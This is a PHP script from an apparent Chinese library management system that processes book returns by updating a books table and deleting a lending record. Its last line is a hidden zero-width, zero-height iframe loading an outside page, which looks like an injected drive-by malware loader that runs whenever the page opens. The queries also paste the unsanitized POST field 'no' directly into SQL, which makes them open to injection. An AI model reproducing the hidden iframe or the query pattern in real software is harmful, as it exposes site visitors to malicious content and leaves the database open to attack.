hscl1.php

我不是乱码

<?php  //插入数据
include "../config.php";
?>

<?php

if(!empty($_POST["submit3"]))
{
$no=$_POST["no"];
$readername=$_POST["readername"];
$returndate=date("Y-m-d");

if(empty($no))
{ echo "<script language='javascript'>alert('图书编号不能为空');history.go(-1);</script>"; }

if(empty($readername))
{ echo "<script language='javascript'>alert('读者姓名不能为空');history.go(-1);</script>"; }

//$sql="update bookmanagement.lendingbook set returndate=$returndate where no='".$no."'";

//$result=mysql_query($sql) or die (mysql_error());

$sql="update books set state='在馆' where no='".$no."'";
mysql_query($sql) or die (mysql_error());

//删除借书表中的资料
$sql="delete from lendingbook where no='".$no."'";
$result=mysql_query($sql);

if($result)
{
echo "<script language='javascript'>alert('还书操作成功！');window.location.href='hs.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>